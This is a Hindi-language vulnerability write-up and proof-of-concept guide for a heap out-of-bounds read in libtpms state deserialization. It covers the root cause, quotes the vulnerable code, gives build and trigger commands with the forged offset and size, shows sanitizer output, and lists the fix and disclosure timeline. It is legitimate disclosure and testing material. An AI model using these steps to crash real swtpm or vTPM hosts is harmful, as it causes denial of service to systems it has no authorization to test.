
CVE-2026-85769 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, libtpms TPM 2.0 स्टेट डिसीरियलाइज़ेशन में हीप आउट-ऑफ-बाउंड्स रीड, जो क्राफ्टेड स्टेट ब्लॉब के माध्यम से डिनायल ऑफ सर्विस प्रदर्शित करता है।
libtpms TPM 2.0 वाष्पशील-स्थिति (volatile-state) डीसेरियलाइज़ेशन में हीप आउट-ऑफ-बाउंड्स रीड।
block_skip_read() में एक असीमित वैकल्पिक-ब्लॉक स्किप अनमार्शल कर्सर को हमलावर-नियंत्रित 16-बिट लंबाई से आगे बढ़ाता है और हस्ताक्षरित शेष-आकार काउंटर को नकारात्मक कर देता है। उसके बाद हर डाउनस्ट्रीम बाउंड्स चेक पास हो जाता है, क्योंकि वे उस हस्ताक्षरित मान को अहस्ताक्षरित में कास्ट करते हैं। TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) के माध्यम से फीड किया गया एक जाली, स्व-चेकसम वाला वाष्पशील-स्थिति ब्लॉब हीप आउट-ऑफ-बाउंड्स रीड उत्पन्न करता है और libtpms होस्ट करने वाली प्रक्रिया को समाप्त कर देता है — vTPM परिनियोजन में swtpm।
| CVE | CVE-2026-85769 |
| घटक | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (पूर्णांक अंडरफ़्लो) + CWE-195 (हस्ताक्षरित-से-अहस्ताक्षरित रूपांतरण) |
| प्रभावित | master f7f072b2, v0.10.2 03ff2481, और इस कोड को ले जाने वाले पहले के रिलीज़ |
| सुधारित | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, मध्यम) |
| रिपोर्ट किया गया | 2026-09-01, अनुरक्षक को निजी रूप से |
block_skip_read() शेष बाइट्स के विरुद्ध लंबाई की जाँच किए बिना, पार्स कर्सर को आगे बढ़ाकर एक वैकल्पिक संस्करणित ब्लॉक को स्किप करता है:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size हस्ताक्षरित है। एक बार नकारात्मक होने पर, प्रत्येक स्केलर रीड के सामने का गार्ड काम करना बंद कर देता है:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
पार्स आवंटन से जितना आगे चलता है, *size उतना ही अधिक नकारात्मक होता जाता है — और अहस्ताक्षरित रूप में उतना ही बड़ा दिखता है। उसी फ़ाइल में Array_Unmarshal में पहले से ही सही रूप मौजूद है, जो हस्ताक्षरित तुलना करता है।
एकमात्र अखंडता गेट ब्लॉब से जुड़ा एक बिना-कुंजी वाला SHA-1 है (src/tpm2/Volatile.c), इसलिए PoC छेड़छाड़ के बाद इसे पुनः गणना करता है।
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) और पावर-ऑन पुनर्स्थापना श्रृंखला TPMLIB_MainInit → _TPM_Init → VolatileLoad के माध्यम से पहुँचा जाता है।
swtpm परिनियोजन में प्रासंगिक पथ लाइव माइग्रेशन है — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, जो libvirt द्वारा संचालित है। गंतव्य होस्ट स्रोत होस्ट पर उत्पन्न स्टेट ब्लॉब को पार्स करता है। एक कॉन्फ़िगर किया गया --migration-key इसे कम नहीं करता: कुंजी दोनों होस्टों के बीच साझा होती है, इसलिए एक समझौता किया गया स्रोत उसे रखता है और एक ऐसा ब्लॉब उत्पन्न करता है जो सही ढंग से डिक्रिप्ट होता है। यह एक बीच में आने वाले तीसरे पक्ष के विरुद्ध रक्षा करता है, शत्रुतापूर्ण सहकर्मी के विरुद्ध नहीं।
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 का आकार ऐसा है कि कर्सर किसी वाइल्ड पॉइंटर के बजाय ASan की रेडज़ोन में उतरे:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
ऑफ़सेट 173 ORDERLY_DATA skip_future_versions ट्रेलर का has_block बाइट है। इसे बाइट्स गिनकर नहीं, बल्कि पार्स के दौरान ऑफ़सेट प्रिंट करने के लिए block_skip_read() को इंस्ट्रूमेंट करके स्थित किया गया था — ऑफ़सेट स्टेट फ़ॉर्मेट के साथ बदलता है, इसलिए यदि आपके ब्लॉब की लंबाई 8778 से भिन्न है तो इसे पुनः प्राप्त करें।
ध्यान दें कि skip_self_heal_timer एक उपयोगी ट्रेलर नहीं है: TpmBuildSwitches.h में ACCUMULATE_SELF_HEAL_TIMER YES का अर्थ है कि इसे needs_block = TRUE के साथ उत्सर्जित किया जाता है और यह सुरक्षित शाखा लेता है।
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
दोष block_skip_read में नहीं, बल्कि UINT16_Unmarshal में सतह पर आता है — स्किप कर्सर को आगे बढ़ाता है और बिना पढ़े लौटता है। भ्रष्टाचार अगली संरचना रीड पर उतरता है।
सुधारित कमिट के विरुद्ध, प्रत्येक हमला मामला बिना किसी ASan रिपोर्ट के TPM_RC_INSUFFICIENT (0x9a) लौटाता है, और वैध ब्लॉब अभी भी rc=0 के साथ पुनर्स्थापित होते हैं।
libtpms होस्ट करने वाली प्रक्रिया का सेवा अस्वीकरण, साथ ही अपरिभाषित व्यवहार।
सूचना प्रकटीकरण का परीक्षण किया गया और खारिज कर दिया गया। गैर-ASan बिल्ड पर छोटे ओवरशूट हर बार TPM_RC_BAD_TAG (0x1e) लौटाते हैं:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
ओवरशूट के तुरंत बाद की रीड एक NV_HEADER है, जिसका 32-बिट मैजिक एक निश्चित स्थिरांक से मेल खाना चाहिए। आसन्न हीप इसे p ≈ 2⁻³² के साथ संतुष्ट करता है। पार्स समाप्त हो जाता है, ClearAllCachedState() सब कुछ त्याग देता है, और कोई भी आउट-ऑफ-बाउंड्स बाइट TPMLIB_GetState तक नहीं पहुँचती। इसलिए गोपनीयता C:N है। Red Hat की समीक्षा स्वतंत्र रूप से उसी निष्कर्ष पर पहुँची।
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
स्वतंत्र रूप से Leyao (ICT CAS) द्वारा रिपोर्ट किया गया, उसी CVE पर श्रेय दिया गया।
यह PoC मुद्दे के अपस्ट्रीम में सुधारित होने और CVE आवंटित होने के बाद प्रकाशित किया गया है। यह एक ओपन-सोर्स लाइब्रेरी के स्थानीय बिल्ड को लक्षित करता है और पार्स को ट्रिगर करने के अलावा कुछ नहीं करता। केवल वही परीक्षण करें जिसके लिए आप अधिकृत हैं।
MIT
| दिनांक |
|---|
| 2026-09-01 | libtpms अनुरक्षक को निजी रूप से रिपोर्ट किया गया |
| 2026-09-04 | वही मूल कारण सार्वजनिक रूप से और स्वतंत्र रूप से Leyao (ICT CAS) द्वारा libtpms मुद्दे #614 के रूप में रिपोर्ट किया गया |
| 2026-09-04 | अपस्ट्रीम में 9e1475ff (PR #613) में सुधारित; इस PoC के विरुद्ध सुधार सत्यापित |
| 2026-09-04 | Red Hat Product Security को रिपोर्ट किया गया |
| 2026-09-04 | CVE-2026-85769 आवंटित |